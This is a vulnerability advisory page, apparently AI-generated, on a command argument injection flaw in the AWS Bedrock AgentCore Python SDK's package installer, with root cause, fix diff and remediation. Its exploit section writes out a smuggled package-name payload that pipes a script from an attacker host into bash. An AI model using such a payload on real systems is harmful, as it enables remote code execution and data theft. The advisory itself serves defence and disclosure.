CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-16796

CVE-2026-16796: Command Argument Injection in AWS Bedrock AgentCore SDK

Alon Barad
Alon Barad
Software Engineer

Jul 25, 2026·5 min read·8 visits

Executive Summary (TL;DR)

A weakly validated package extras regex in bedrock-agentcore allows command execution inside the Code Interpreter sandbox via crafted package install requests.

An argument injection vulnerability in the AWS Bedrock AgentCore Python SDK allows authenticated users to execute arbitrary commands inside the Code Interpreter sandbox container via crafted Python package specifiers containing shell metacharacters.

Vulnerability Overview

The AWS Bedrock AgentCore Python SDK (bedrock-agentcore) exposes helper tools to manage the Bedrock Agent environment. Among these, the CodeInterpreter tool allows Python agents to run in a secure, isolated sandbox environment to execute dynamically generated code blocks. To facilitate third-party dependency installation inside this sandbox, the SDK provides an install_packages() interface that wraps the standard Python pip utility.

Because the sandbox must dynamically download packages on demand, it relies on system-level command execution to trigger the pip install binary. The vulnerability exists within this installation flow, specifically when processing PEP 508 "extras" specifiers inside the requested package strings. The library failed to restrict the input format adequately before executing the constructed command within the system shell.

An attacker who has access to supply package arguments to the CodeInterpreter workspace can inject shell metacharacters. These metacharacters execute arbitrary code under the authorization context of the sandbox container, compromising the integrity of the isolated session.

Root Cause Analysis

The core of the vulnerability lies in src/bedrock_agentcore/tools/code_interpreter_client.py within the install_packages() method. Prior to validation, the library attempted to match package names against an internal regular expression designed to enforce valid package naming conventions.

VALID_PACKAGE_NAME = re.compile(
    r"^[a-zA-Z0-9]([a-zA-Z0-9._-]*[a-zA-Z0-9])?(\[.*\])?(==|>=|<=|!=|~=|>|<)?[a-zA-Z0-9.*]*$"
)

The catastrophic structural flaw in this pattern resides in the capture group meant to identify package extras: (\[.*\])?. Because the regex engine utilizes the wildcard pattern .* greedily within the square brackets, it accepts any sequence of character inputs of arbitrary length. This greedy matching effectively invalidates the defensive properties of the regular expression.

Furthermore, the system executed the resulting command via a shell environment rather than spawning a direct subprocess with isolated arguments. This processing approach meant that any metacharacters containing shell instructions—such as $(), backticks, or semicolons—were evaluated directly by the underlying OS shell rather than being parsed as safe string arguments.

Code Diff and Remediation Analysis

The security defect was resolved in commit 3c4b4ee6b8730e6313a82c743ac37dbcc1c21cdb by tightening the validation regular expression and implementing POSIX shell escaping.

@@ -6,6 +6,7 @@
 
 import logging
 import re
+import shlex
 import uuid
 from contextlib import contextmanager
 from typing import Any, Dict, Generator, List, Optional, Union
@@ -20,8 +21,11 @@
 
 DEFAULT_IDENTIFIER = "aws.codeinterpreter.v1"
 
+# Allowlist for pip package specifiers. The extras group is restricted to valid
+# extra names (comma-separated identifiers) rather than allowing arbitrary
+# characters, so only well-formed package specifiers are accepted.
 VALID_PACKAGE_NAME = re.compile(
-    r"^[a-zA-Z0-9]([a-zA-Z0-9._-]*[a-zA-Z0-9])?(\[.*\])?(==|>=|<=|!=|~=|>|<)?[a-zA-Z0-9.*]*$"
+    r"^[a-zA-Z0-9]([a-zA-Z0-9._-]*[a-zA-Z0-9])?(\[[a-zA-Z0-9._,\-]*\])?(==|>=|<=|!=|~=|>|<)?[a-zA-Z0-9.*]*$"
 )
 DEFAULT_TIMEOUT = 900
 
@@ -606,7 +610,8 @@ def install_packages(
             if not VALID_PACKAGE_NAME.match(pkg):
                 raise ValueError(f"Invalid package name: {pkg}")
 
-        packages_str = " ".join(packages)
+        # Quote each argument so it is passed to the command as a single literal token.
+        packages_str = " ".join(shlex.quote(pkg) for pkg in packages)
         upgrade_flag = "--upgrade " if upgrade else ""
         command = f"pip install {upgrade_flag}{packages_str}"

The modified pattern restricts the character set permitted within the bracket block to [a-zA-Z0-9._,\-]. This prevents any injection of shell expansion tokens. Additionally, executing shlex.quote(pkg) before concatenation ensures that all characters are escaped according to shell-quoting rules.

Exploit Methodology

An attacker with authorization to trigger package installation can supply a package name string structured to bypass the original validation regex while embedding a shell command execution payload.

To execute this exploit, the attacker crafts a payload utilizing the target dependency syntax: numpy[$(curl -s http://attacker.com/payload.sh | bash)]

The validation mechanism processes this payload as follows:

  1. The initial segment numpy matches the starting identifier.
  2. The extras segment [$(curl -s http://attacker.com/payload.sh | bash)] matches the greedy wildcard sequence \[.*\] because any characters within brackets are permitted.
  3. The SDK concatenates this payload directly into the final command block: pip install numpy[$(curl -s http://attacker.com/payload.sh | bash)].
  4. During command execution within the sandbox, the OS shell evaluates the command expansion block $() prior to invoking the pip binary.

Security Impact Assessment

The impact of this vulnerability is significant, carrying a CVSS v3.1 base score of 7.3. Because the execution takes place within the Code Interpreter container sandbox, the threat actor does not directly compromise the host hypervisor. However, the attacker gains full arbitrary code execution capabilities inside the container sandbox.

This execution capability allows attackers to exfiltrate session data, access temporary files, and read environmental tokens. In configurations where container network separation is weak, this execution point can be utilized to perform lateral port scans against internal AWS resources or adjacent microservices.

This flaw primarily risks data leakage and lateral movement. It can be chained with auxiliary sandbox escapes to threaten host operations.

Remediation and Defensive Strategies

The primary remediation for this vulnerability is upgrading the AWS Bedrock AgentCore Python SDK dependency to version 1.18.1 or higher. This upgrade implements both input validation hardening and structural shell argument quoting.

pip install --upgrade bedrock-agentcore>=1.18.1

If upgrading is not immediately possible, organizations should implement the following compensating controls:

  1. Apply egress firewalls to the Code Interpreter sandbox environment to prevent outbound traffic, neutralizing command control channels and data exfiltration routes.
  2. Regularly monitor execution logs inside Code Interpreter instances for instances of the pip install command containing illegal syntax characters inside brackets, such as $, ;, or &.

Official Patches

AWSRemediation commit implementing regex hardening and shlex.quote execution protection.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.33%
Top 75% most exploited

Affected Systems

AWS Bedrock AgentCore Python SDK (bedrock-agentcore)

Affected Versions Detail

Product
Affected Versions
Fixed Version
bedrock-agentcore
AWS
>= 1.6.0, < 1.18.11.18.1
AttributeDetail
CWE IDCWE-88
Attack VectorNetwork
CVSS v3.17.3
EPSS Score0.00327
Exploit Statuspoc
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1059.006Command and Scripting Interpreter: Python
Execution
CWE-88
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs an OS command using externally-influenced input, but it does not neutralize or incorrectly neutralizes argument delimiters, allowing an attacker to inject command-line arguments.

Vulnerability Timeline

Remediation patch commit submitted and bedrock-agentcore v1.18.1 released
2026-07-17
Public disclosure of CVE-2026-16796 and publication of advisory GHSA-j6g5-3hh3-pgw8
2026-07-23

References & Sources

  • [1]AWS Security Bulletin - 2026-065
  • [2]GitHub Security Advisory GHSA-j6g5-3hh3-pgw8
  • [3]Pull Request #581: Package verification improvement

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•GHSA-3R53-75J5-3G7J
5.6

GHSA-3r53-75j5-3g7j: Prototype Pollution in Quasar Framework extend Utility

A prototype pollution vulnerability (CWE-1321) in the Quasar framework's utility function 'extend' allows unauthenticated remote attackers to modify the global Object.prototype. This vulnerability can lead to application-level logic bypasses, denial of service, or potentially arbitrary code execution depending on downstream implementation.

Alon Barad
Alon Barad
4 views•6 min read
•about 2 hours ago•GHSA-HMJ8-5XMH-5573
7.5

GHSA-HMJ8-5XMH-5573: Connection Denial of Service via Oversized DATA Frame in py-libp2p

A critical connection-level Denial of Service (DoS) vulnerability exists in the Yamux stream multiplexer implementation of py-libp2p (versions <= 0.6.0). The flaw allows unauthenticated or authenticated peers to permanently stall a Yamux multiplexed connection by transmitting a single malformed 12-byte header claiming an oversized payload while withholding the payload bytes.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 3 hours ago•CVE-2026-16756
7.5

CVE-2026-16756: Slowloris Denial of Service via Resource Exhaustion in aws-smithy-http-server

An unauthenticated remote resource exhaustion vulnerability in Amazon aws-smithy-http-server enables denial-of-service (DoS) attacks. Affected versions do not enforce connection limits or header timeouts, allowing standard Slowloris techniques to block server operations.

Alon Barad
Alon Barad
7 views•7 min read
•about 4 hours ago•GHSA-XG4H-6GFC-H4M8
6.5

GHSA-XG4H-6GFC-H4M8: Watch API Authorization Bypass via Open-Ended Range Requests in etcd

An authorization bypass vulnerability in the gRPC Watch API of etcd allows low-privileged users to read keys outside of their authorized range. By utilizing an open-ended range request sentinel, the input is prematurely normalized before RBAC validation, misclassifying a range watch as a single-key point query.

Amit Schendel
Amit Schendel
4 views•8 min read
•about 6 hours ago•GHSA-JPCW-4WR7-C3VQ
7.5

GHSA-JPCW-4WR7-C3VQ: Remote Denial of Service via NULL Pointer Dereference in kin-openapi Parameter Validation

A NULL pointer dereference vulnerability was discovered in the getkin/kin-openapi Go library. When parsing incoming request parameters that are validated against a content map with an empty media type, the openapi3filter request validation engine attempts to resolve an uninitialized schema pointer. This results in an unhandled Go runtime panic and process termination, yielding an unauthenticated, remote Denial of Service vector.

Alon Barad
Alon Barad
7 views•5 min read
•about 7 hours ago•GHSA-8Q49-2H5H-434X
8.6

GHSA-8Q49-2H5H-434X: Server-Side Request Forgery in FrontMCP OpenAPI Spec Poller

A Server-Side Request Forgery (SSRF) vulnerability in FrontMCP allows unauthenticated remote attackers to query internal network services by exploiting the un-guarded background OpenAPI specification polling mechanism.

Amit Schendel
Amit Schendel
7 views•6 min read